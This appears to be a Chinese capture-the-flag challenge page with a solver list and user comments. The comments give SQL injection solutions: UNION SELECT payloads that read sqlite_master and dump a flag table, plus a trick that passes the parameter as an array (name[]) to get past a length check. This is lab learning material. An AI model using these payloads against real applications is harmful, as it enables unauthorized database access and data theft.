评分(1)
解题动态
风花雪月 攻破了该题 24天前
xiaodou 攻破了该题 28天前
15158045107 攻破了该题 1月前
莫可莫可 攻破了该题 1月前
hell0-hnc 攻破了该题 1月前
i8vkmmju 攻破了该题 1月前
笑笑笑 攻破了该题 1月前
caixinggang 攻破了该题 1月前
Yan123 攻破了该题 1月前
wengun 攻破了该题 1月前
Remakeee 攻破了该题 2月前
星落. 攻破了该题 3月前
芝士有毒 攻破了该题 3月前
chenrujun 攻破了该题 3月前
ggtom 攻破了该题 4月前
ac_11 攻破了该题 5月前
admin_ 攻破了该题 5月前
TortoisEast 攻破了该题 6月前
un 攻破了该题 6月前
评论
不要不要 2年前
举报
bp抓包，URL编码。 name[]=-534249' union select name,sql from sqlite_master--+ 得到表名和建表语句，知道表的字段flag name[]=-534249' union select flag,flag from flag_01ffe035_7ddb_4c79_9a09_8a0b2e6a2705--+
justsosoloveyou 2年前
举报
关键是用name[]=，绕过name.length的长度限制。如：/?name[]=1&name[]=2能够将两个值作为同参数名的数组提交给服务器，但是name=[1,2]，name.length=2。
xht0525 3年前
举报
name[]=changzifuchuan' union select name,name from sqlite_master--